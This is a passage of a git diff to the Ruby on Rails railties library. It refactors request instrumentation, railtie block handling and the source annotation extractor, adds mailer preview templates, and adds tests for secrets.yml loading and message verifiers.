def initialize(app, taggers = nil)
@app = app
@taggers = taggers || []
- @instrumenter = ActiveSupport::Notifications.instrumenter
end
def call(env)
@@ -33,12 +32,13 @@ module Rails
logger.debug ''
end
- @instrumenter.start 'action_dispatch.request', request: request
+ instrumenter = ActiveSupport::Notifications.instrumenter
+ instrumenter.start 'request.action_dispatch', request: request
logger.info started_request_message(request)
resp = @app.call(env)
resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
resp
- rescue
+ rescue Exception
finish(request)
raise
ensure
@@ -70,7 +70,8 @@ module Rails
private
def finish(request)
- @instrumenter.finish 'action_dispatch.request', request: request
+ instrumenter = ActiveSupport::Notifications.instrumenter
+ instrumenter.finish 'request.action_dispatch', request: request
end
def development?
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index 89ca8cbe11..2b33beaa2b 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -22,7 +22,7 @@ module Rails
#
# * creating initializers
# * configuring a Rails framework for the application, like setting a generator
- # * +adding config.*+ keys to the environment
+ # * adding <tt>config.*</tt> keys to the environment
# * setting up a subscriber with ActiveSupport::Notifications
# * adding rake tasks
#
@@ -63,8 +63,8 @@ module Rails
# end
# end
#
- # Finally, you can also pass :before and :after as option to initializer, in case
- # you want to couple it with a specific step in the initialization process.
+ # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as option to initializer,
+ # in case you want to couple it with a specific step in the initialization process.
#
# == Configuration
#
@@ -183,8 +183,8 @@ module Rails
end
protected
- def generate_railtie_name(class_or_module)
- ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
+ def generate_railtie_name(string)
+ ActiveSupport::Inflector.underscore(string).tr("/", "_")
end
# If the class method does not have a method, then send the method call
@@ -221,26 +221,28 @@ module Rails
protected
def run_console_blocks(app) #:nodoc:
- self.class.console.each { |block| block.call(app) }
+ each_registered_block(:console) { |block| block.call(app) }
end
def run_generators_blocks(app) #:nodoc:
- self.class.generators.each { |block| block.call(app) }
+ each_registered_block(:generators) { |block| block.call(app) }
end
def run_runner_blocks(app) #:nodoc:
- self.class.runner.each { |block| block.call(app) }
+ each_registered_block(:runner) { |block| block.call(app) }
end
def run_tasks_blocks(app) #:nodoc:
extend Rake::DSL
- self.class.rake_tasks.each { |block| instance_exec(app, &block) }
+ each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
+ end
- # Load also tasks from all superclasses
- klass = self.class.superclass
+ private
- while klass.respond_to?(:rake_tasks)
- klass.rake_tasks.each { |t| instance_exec(app, &t) }
+ def each_registered_block(type, &block)
+ klass = self.class
+ while klass.respond_to?(type)
+ klass.public_send(type).each(&block)
klass = klass.superclass
end
end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index 0cbbf04da2..eb3b2d8ef4 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -80,7 +80,7 @@ module Rails
to_prepare_blocks << blk if blk
end
- def respond_to?(name)
+ def respond_to?(name, include_private = false)
super || @@options.key?(name.to_sym)
end
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index 2cbb0a435c..201532d299 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -18,6 +18,20 @@ class SourceAnnotationExtractor
@@directories ||= %w(app config db lib test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
end
+ def self.extensions
+ @@extensions ||= {}
+ end
+
+ # Registers new Annotations File Extensions
+ # SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+ def self.register_extensions(*exts, &block)
+ extensions[/\.(#{exts.join("|")})$/] = block
+ end
+
+ register_extensions("builder", "rb", "rake", "yml", "yaml", "ruby") { |tag| /#\s*(#{tag}):?\s*(.*)$/ }
+ register_extensions("css", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+ register_extensions("erb") { |tag| /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/ }
+
# Returns a representation of the annotation that looks like this:
#
# [126] [TODO] This algorithm is simple and clearly correct, make it faster.
@@ -67,7 +81,7 @@ class SourceAnnotationExtractor
# Returns a hash that maps filenames under +dir+ (recursively) to arrays
# with their annotations. Only files with annotations are included. Files
# with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
- # +.scss+, +.js+, +.coffee+, and +.rake+
+ # +.scss+, +.js+, +.coffee+, +.rake+, +.sass+ and +.less+
# are taken into account.
def find_in(dir)
results = {}
@@ -78,21 +92,14 @@ class SourceAnnotationExtractor
if File.directory?(item)
results.update(find_in(item))
else
- pattern =
- case item
- when /\.(builder|rb|coffee|rake)$/
- /#\s*(#{tag}):?\s*(.*)$/
- when /\.(css|scss|js)$/
- /\/\/\s*(#{tag}):?\s*(.*)$/
- when /\.erb$/
- /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/
- when /\.haml$/
- /-\s*#\s*(#{tag}):?\s*(.*)$/
- when /\.slim$/
- /\/\s*\s*(#{tag}):?\s*(.*)$/
- else nil
- end
- results.update(extract_annotations_from(item, pattern)) if pattern
+ extension = Annotation.extensions.detect do |regexp, _block|
+ regexp.match(item)
+ end
+
+ if extension
+ pattern = extension.last.call(tag)
+ results.update(extract_annotations_from(item, pattern)) if pattern
+ end
end
end
@@ -115,7 +122,7 @@ class SourceAnnotationExtractor
# Prints the mapping from filenames to annotations in +results+ ordered by filename.
# The +options+ hash is passed to each annotation's +to_s+.
def display(results, options={})
- options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
+ options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
results.keys.sort.each do |file|
puts "#{file}:"
results[file].each do |note|
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
index 142af2d792..af5f2707b1 100644
--- a/railties/lib/rails/tasks.rb
+++ b/railties/lib/rails/tasks.rb
@@ -1,5 +1,3 @@
-$VERBOSE = nil
-
# Load Rails Rakefile extensions
%w(
annotations
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index 70370be3f5..16ad1bfc84 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -26,7 +26,7 @@ namespace :db do
desc "Display status of migrations"
app_task "migrate:status"
- desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ desc 'Create the database from config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)'
app_task "create"
app_task "create:all"
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index 76a95304c3..3c8f8c6b87 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -1,9 +1,9 @@
namespace :rails do
- desc "Update configs and some other initially generated files (or use just update:configs, update:bin, or update:application_controller)"
- task update: [ "update:configs", "update:bin", "update:application_controller" ]
+ desc "Update configs and some other initially generated files (or use just update:configs or update:bin)"
+ task update: [ "update:configs", "update:bin" ]
desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
- task :template do
+ task template: :environment do
template = ENV["LOCATION"]
raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
@@ -46,7 +46,7 @@ namespace :rails do
require 'rails/generators/rails/app/app_generator'
gen = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
destination_root: Rails.root
- File.exists?(Rails.root.join("config", "application.rb")) ?
+ File.exist?(Rails.root.join("config", "application.rb")) ?
gen.send(:app_const) : gen.send(:valid_const?)
gen
end
@@ -62,15 +62,5 @@ namespace :rails do
task :bin do
invoke_from_app_generator :create_bin_files
end
-
- # desc "Rename application.rb to application_controller.rb"
- task :application_controller do
- old_style = Rails.root + '/app/controllers/application.rb'
- new_style = Rails.root + '/app/controllers/application_controller.rb'
- if File.exists?(old_style) && !File.exists?(new_style)
- FileUtils.mv(old_style, new_style)
- puts "#{old_style} has been renamed to #{new_style}, update your SCM as necessary"
- end
- end
end
end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
index 6c3f02eb0c..877f175ef3 100644
--- a/railties/lib/rails/tasks/log.rake
+++ b/railties/lib/rails/tasks/log.rake
@@ -10,7 +10,7 @@ namespace :log do
if ENV['LOGS']
ENV['LOGS'].split(',')
.map { |file| "log/#{file.strip}.log" }
- .select { |file| File.exists?(file) }
+ .select { |file| File.exist?(file) }
else
FileList["log/*.log"]
end
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
index 7352d48e7b..5aecaa712a 100644
--- a/railties/lib/rails/templates/layouts/application.html.erb
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -2,7 +2,7 @@
<html lang="en">
<head>
<meta charset="utf-8" />
- <title>Routes</title>
+ <title><%= @page_title %></title>
<style>
body { background-color: #fff; color: #333; }
@@ -29,7 +29,7 @@
</style>
</head>
<body>
-<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+
<%= yield %>
</body>
diff --git a/railties/lib/rails/templates/rails/mailers/email.html.erb b/railties/lib/rails/templates/rails/mailers/email.html.erb
new file mode 100644
index 0000000000..977feb922b
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/email.html.erb
@@ -0,0 +1,98 @@
+<!DOCTYPE html>
+<html><head>
+<meta name="viewport" content="width=device-width" />
+<style type="text/css">
+ header {
+ width: 100%;
+ padding: 10px 0 0 0;
+ margin: 0;
+ background: white;
+ font: 12px "Lucida Grande", sans-serif;
+ border-bottom: 1px solid #dedede;
+ overflow: hidden;
+ }
+
+ dl {
+ margin: 0 0 10px 0;
+ padding: 0;
+ }
+
+ dt {
+ width: 80px;
+ padding: 1px;
+ float: left;
+ clear: left;
+ text-align: right;
+ color: #7f7f7f;
+ }
+
+ dd {
+ margin-left: 90px; /* 80px + 10px */
+ padding: 1px;
+ }
+
+ iframe {
+ border: 0;
+ width: 100%;
+ height: 800px;
+ }
+</style>
+</head>
+
+<body>
+<header>
+ <dl>
+ <% if @email.respond_to?(:smtp_envelope_from) && Array(@email.from) != Array(@email.smtp_envelope_from) %>
+ <dt>SMTP-From:</dt>
+ <dd><%= @email.smtp_envelope_from %></dd>
+ <% end %>
+
+ <% if @email.respond_to?(:smtp_envelope_to) && @email.to != @email.smtp_envelope_to %>
+ <dt>SMTP-To:</dt>
+ <dd><%= @email.smtp_envelope_to %></dd>
+ <% end %>
+
+ <dt>From:</dt>
+ <dd><%= @email.header['from'] %></dd>
+
+ <% if @email.reply_to %>
+ <dt>Reply-To:</dt>
+ <dd><%= @email.header['reply-to'] %></dd>
+ <% end %>
+
+ <dt>To:</dt>
+ <dd><%= @email.header['to'] %></dd>
+
+ <% if @email.cc %>
+ <dt>CC:</dt>
+ <dd><%= @email.header['cc'] %></dd>
+ <% end %>
+
+ <dt>Date:</dt>
+ <dd><%= Time.current.rfc2822 %></dd>
+
+ <dt>Subject:</dt>
+ <dd><strong><%= @email.subject %></strong></dd>
+
+ <% unless @email.attachments.nil? || @email.attachments.empty? %>
+ <dt>Attachments:</dt>
+ <dd>
+ <%= @email.attachments.map { |a| a.respond_to?(:original_filename) ? a.original_filename : a.filename }.inspect %>
+ </dd>
+ <% end %>
+
+ <% if @email.multipart? %>
+ <dd>
+ <select onchange="document.getElementsByName('messageBody')[0].src=this.options[this.selectedIndex].value;">
+ <option <%= request.format == Mime::HTML ? 'selected' : '' %> value="?part=text%2Fhtml">View as HTML email</option>
+ <option <%= request.format == Mime::TEXT ? 'selected' : '' %> value="?part=text%2Fplain">View as plain-text email</option>
+ </select>
+ </dd>
+ <% end %>
+ </dl>
+</header>
+
+<iframe seamless name="messageBody" src="?part=<%= Rack::Utils.escape(@part.mime_type) %>"></iframe>
+
+</body>
+</html> \ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/mailers/index.html.erb b/railties/lib/rails/templates/rails/mailers/index.html.erb
new file mode 100644
index 0000000000..c4c9757d57
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/index.html.erb
@@ -0,0 +1,8 @@
+<% @previews.each do |preview| %>
+<h3><%= link_to preview.preview_name.titleize, "/rails/mailers/#{preview.preview_name}" %></h3>
+<ul>
+<% preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
+<% end %>
diff --git a/railties/lib/rails/templates/rails/mailers/mailer.html.erb b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
new file mode 100644
index 0000000000..607c8d1677
--- /dev/null
+++ b/railties/lib/rails/templates/rails/mailers/mailer.html.erb
@@ -0,0 +1,6 @@
+<h3><%= @preview.preview_name.titleize %></h3>
+<ul>
+<% @preview.emails.each do |email| %>
+<li><%= link_to email, "/rails/mailers/#{@preview.preview_name}/#{email}" %></li>
+<% end %>
+</ul>
diff --git a/railties/lib/rails/templates/rails/welcome/index.html.erb b/railties/lib/rails/templates/rails/welcome/index.html.erb
index 4c4c80ecda..eb620caa00 100644
--- a/railties/lib/rails/templates/rails/welcome/index.html.erb
+++ b/railties/lib/rails/templates/rails/welcome/index.html.erb
@@ -232,8 +232,8 @@
</li>
<li>
- <h2>Create your database</h2>
- <p>Run <code>rake db:create</code> to create your database. If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p>
+ <h2>Configure your database</h2>
+ <p>If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p>
</li>
</ol>
</div>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 739e4ad992..c837fadb40 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -4,14 +4,20 @@ abort("Abort testing: Your Rails environment is running in production mode!") if
require 'active_support/testing/autorun'
require 'active_support/test_case'
+require 'action_controller'
require 'action_controller/test_case'
require 'action_dispatch/testing/integration'
+require 'rails/generators/test_case'
# Config Rails backtrace in tests.
require 'rails/backtrace_cleaner'
-MiniTest.backtrace_filter = Rails.backtrace_cleaner
+if ENV["BACKTRACE"].nil?
+ Minitest.backtrace_filter = Rails.backtrace_cleaner
+end
if defined?(ActiveRecord::Base)
+ ActiveRecord::Migration.maintain_test_schema!
+
class ActiveSupport::TestCase
include ActiveRecord::TestFixtures
self.fixture_path = "#{Rails.root}/test/fixtures/"
diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb
index 75180ff978..878b9b7930 100644
--- a/railties/lib/rails/test_unit/railtie.rb
+++ b/railties/lib/rails/test_unit/railtie.rb
@@ -1,4 +1,4 @@
-if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any?
+if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^test(?::|$)/).any?
ENV['RAILS_ENV'] ||= 'test'
end
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
index a463380e2d..d9bffba4d7 100644
--- a/railties/lib/rails/test_unit/sub_test_task.rb
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -2,13 +2,53 @@ require 'rake/testtask'
module Rails
class TestTask < Rake::TestTask # :nodoc: all
+ # A utility class which is used primarily in "rails/test_unit/testing.rake"
+ # to help define rake tasks corresponding to <tt>rake test</tt>.
+ #
+ # This class takes a TestInfo class and defines the appropriate rake task
+ # based on the information, then invokes it.
+ class TestCreator
+ def initialize(info)
+ @info = info
+ end
+
+ def invoke_rake_task
+ if @info.files.any?
+ create_and_run_single_test
+ reset_application_tasks
+ else
+ Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
+ end
+ end
+
+ private
+
+ def create_and_run_single_test
+ Rails::TestTask.new('test:single') { |t|
+ t.test_files = @info.files
+ }
+ ENV['TESTOPTS'] ||= @info.opts
+ Rake::Task['test:single'].invoke
+ end
+
+ def reset_application_tasks
+ Rake.application.top_level_tasks.replace @info.tasks
+ end
+ end
+
+ # This is a utility class used by the <tt>TestTask::TestCreator</tt> class.
+ # This class takes a set of test tasks and checks to see if they correspond
+ # to test files (or can be transformed into test files). Calling <tt>files</tt>
+ # provides the set of test files and is used when initializing tests after
+ # a call to <tt>rake test</tt>.
class TestInfo
def initialize(tasks)
@tasks = tasks
+ @files = nil
end
def files
- @tasks.map { |task|
+ @files ||= @tasks.map { |task|
[task, translate(task)].find { |file| test_file?(file) }
}.compact
end
@@ -53,8 +93,9 @@ module Rails
end
end
- def self.test_info(tasks)
- TestInfo.new tasks
+ def self.test_creator(tasks)
+ info = TestInfo.new(tasks)
+ TestCreator.new(info)
end
def initialize(name = :test)
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 2e23999a91..285e2ce846 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,24 +1,11 @@
-require 'rbconfig'
require 'rake/testtask'
require 'rails/test_unit/sub_test_task'
-require 'active_support/deprecation'
task default: :test
-desc 'Runs test:units, test:functionals, test:integration together'
+desc 'Runs test:units, test:functionals, test:generators, test:integration together'
task :test do
- info = Rails::TestTask.test_info Rake.application.top_level_tasks
- if info.files.any?
- Rails::TestTask.new('test:single') { |t|
- t.test_files = info.files
- }
- ENV['TESTOPTS'] ||= info.opts
- Rake.application.top_level_tasks.replace info.tasks
-
- Rake::Task['test:single'].invoke
- else
- Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
- end
+ Rails::TestTask.test_creator(Rake.application.top_level_tasks).invoke_rake_task
end
namespace :test do
@@ -26,7 +13,7 @@ namespace :test do
# Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
end
- task :run => ['test:units', 'test:functionals', 'test:integration']
+ task :run => ['test:units', 'test:functionals', 'test:generators', 'test:integration']
# Inspired by: http://ngauthier.com/2012/02/quick-tests-with-bash.html
desc "Run tests quickly by merging all types and not resetting db"
@@ -47,6 +34,10 @@ namespace :test do
end
end
+ Rails::TestTask.new(generators: "test:prepare") do |t|
+ t.pattern = "test/lib/generators/**/*_test.rb"
+ end
+
Rails::TestTask.new(units: "test:prepare") do |t|
t.pattern = 'test/{models,helpers,unit}/**/*_test.rb'
end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 5a6d8d0983..df351c4238 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,10 +1,8 @@
-module Rails
- module VERSION
- MAJOR = 4
- MINOR = 1
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+module Rails
+ # Returns the version of the currently loaded Rails as a string.
+ def self.version
+ VERSION::STRING
end
end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index 45b764fa6b..de9cd18b01 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,7 @@
-class Rails::WelcomeController < ActionController::Base # :nodoc:
- self.view_paths = File.expand_path('../templates', __FILE__)
- layout nil
+require 'rails/application_controller'
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+ layout false
def index
end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index 45968052a8..56b8736800 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -28,4 +28,6 @@ Gem::Specification.new do |s|
s.add_dependency 'rake', '>= 0.8.7'
s.add_dependency 'thor', '>= 0.18.1', '< 2.0'
+
+ s.add_development_dependency 'actionview', version
end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 491faf4af9..9ccc286b4e 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -8,11 +8,21 @@ require 'fileutils'
require 'active_support'
require 'action_controller'
+require 'action_view'
require 'rails/all'
module TestApp
class Application < Rails::Application
config.root = File.dirname(__FILE__)
- config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
end
end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_rails_loader_test.rb
index ceae78ae80..1d3b80253a 100644
--- a/railties/test/app_rails_loader_test.rb
+++ b/railties/test/app_rails_loader_test.rb
@@ -22,8 +22,14 @@ class AppRailsLoaderTest < ActiveSupport::TestCase
exe = "#{script_dir}/rails"
test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
- File.stubs(:exists?).with('bin/rails').returns(false)
- File.stubs(:exists?).with('script/rails').returns(false)
+ File.stubs(:file?).with('bin/rails').returns(false)
+ File.stubs(:file?).with('script/rails').returns(false)
+
+ assert !Rails::AppRailsLoader.exec_app_rails
+ end
+
+ test "is not in a Rails application if #{exe} exists but is a folder" do
+ FileUtils.mkdir_p(exe)
assert !Rails::AppRailsLoader.exec_app_rails
end
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index 633d864dac..410b0f7d70 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -37,7 +37,7 @@ module ApplicationTests
end
def assert_no_file_exists(filename)
- assert !File.exists?(filename), "#{filename} does exist"
+ assert !File.exist?(filename), "#{filename} does exist"
end
test "assets routes have higher priority" do
@@ -91,7 +91,7 @@ module ApplicationTests
class UsersController < ApplicationController; end
eoruby
app_file "app/models/user.rb", <<-eoruby
- class User < ActiveRecord::Base; end
+ class User < ActiveRecord::Base; raise 'should not be reached'; end
eoruby
ENV['RAILS_ENV'] = 'production'
@@ -199,6 +199,7 @@ module ApplicationTests
end
test "precompile creates a manifest file with all the assets listed" do
+ app_file "app/assets/images/rails.png", "notactuallyapng"
app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
app_file "app/assets/javascripts/application.js", "alert();"
# digest is default in false, we must enable it for test environment
@@ -260,7 +261,7 @@ module ApplicationTests
test "precompile shouldn't use the digests present in manifest.json" do
app_file "app/assets/images/rails.png", "notactuallyapng"
- app_file "app/assets/stylesheets/application.css.erb", "//= depend_on rails.png\np { url: <%= asset_path('rails.png') %> }"
+ app_file "app/assets/stylesheets/application.css.erb", "p { url: <%= asset_path('rails.png') %> }"
ENV["RAILS_ENV"] = "production"
precompile!
@@ -293,7 +294,7 @@ module ApplicationTests
test "precompile should handle utf8 filenames" do
filename = "レイルズ.png"
- app_file "app/assets/images/#{filename}", "not a image really"
+ app_file "app/assets/images/#{filename}", "not an image really"
add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
precompile!
@@ -305,7 +306,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
get "/assets/#{URI.parser.escape(asset_path)}"
- assert_match "not a image really", last_response.body
+ assert_match "not an image really", last_response.body
assert_file_exists("#{app_path}/public/assets/#{asset_path}")
end
@@ -448,23 +449,23 @@ module ApplicationTests
test "asset urls should be protocol-relative if no request is in scope" do
app_file "app/assets/images/rails.png", "notreallyapng"
- app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
- add_to_config "config.assets.precompile = %w{image_loader.js}"
+ app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+ add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
add_to_config "config.asset_host = 'example.com'"
precompile!
- assert_match 'src="//example.com/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+ assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
end
test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
app_file "app/assets/images/rails.png", "notreallyapng"
- app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
- add_to_config "config.assets.precompile = %w{app.js}"
+ app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+ add_to_config "config.assets.precompile = %w{rails.png app.js}"
precompile!
- assert_match 'src="/sub/uri/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+ assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
end
test "assets:cache:clean should clean cache" do
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 28839a9c4b..09aba1c2e9 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -250,7 +250,7 @@ module ApplicationTests
test "Use key_generator when secret_key_base is set" do
make_basic_app do |app|
- app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
app.config.session_store :disabled
end
@@ -268,6 +268,82 @@ module ApplicationTests
assert_equal 'some_value', verifier.verify(last_response.body)
end
+ test "application verifier can be used in the entire application" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ message = app.message_verifier(:sensitive_value).generate("some_value")
+
+ assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+
+ secret = app.key_generator.generate_key('sensitive_value')
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 'some_value', verifier.verify(message)
+ end
+
+ test "application verifier can build different verifiers" do
+ make_basic_app do |app|
+ app.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ default_verifier = app.message_verifier(:sensitive_value)
+ text_verifier = app.message_verifier(:text)
+
+ message = text_verifier.generate('some_value')
+
+ assert_equal 'some_value', text_verifier.verify(message)
+ assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+ default_verifier.verify(message)
+ end
+
+ assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+ assert_not_equal default_verifier.object_id, text_verifier.object_id
+ end
+
+ test "secrets.secret_key_base is used when config/secrets.yml is present" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "secret_key_base is copied from config to secrets when not set" do
+ remove_file "config/secrets.yml"
+ app_file 'config/initializers/secret_token.rb', <<-RUBY
+ Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base
+ end
+
+ test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+ app_file 'config/secrets.yml', <<-YAML
+ development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ aws_access_key_id: myamazonaccesskeyid
+ aws_secret_access_key: myamazonsecretaccesskey
+ YAML
+
+ require "#{app_path}/config/environment"
+ assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id
+ assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key
+ end
+
+ test "blank config/secrets.yml does not crash the loading process" do
+ app_file 'config/secrets.yml', <<-YAML
+ YAML
+ require "#{app_path}/config/environment"
+
+ assert_nil app.secrets.not_defined
+ end
+
test "protect from forgery is the default in a new app" do
make_basic_app
@@ -413,7 +489,7 @@ module ApplicationTests
test "valid timezone is setup correctly" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.time_zone = "Wellington"
+ config.time_zone = "Wellington"
RUBY
require "#{app_path}/config/environment"
@@ -424,7 +500,7 @@ module ApplicationTests
test "raises when an invalid timezone is defined in the config" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.time_zone = "That big hill over yonder hill"
+ config.time_zone = "That big hill over yonder hill"
RUBY
assert_raise(ArgumentError) do
@@ -435,7 +511,7 @@ module ApplicationTests
test "valid beginning of week is setup correctly" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.beginning_of_week = :wednesday
+ config.beginning_of_week = :wednesday
RUBY
require "#{app_path}/config/environment"
@@ -446,7 +522,7 @@ module ApplicationTests
test "raises when an invalid beginning of week is defined in the config" do
add_to_config <<-RUBY
config.root = "#{app_path}"
- config.beginning_of_week = :invalid
+ config.beginning_of_week = :invalid
RUBY
assert_raise(ArgumentError) do
@@ -459,7 +535,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading without cache_classes default" do
@@ -467,7 +543,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = false" do
@@ -478,7 +554,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
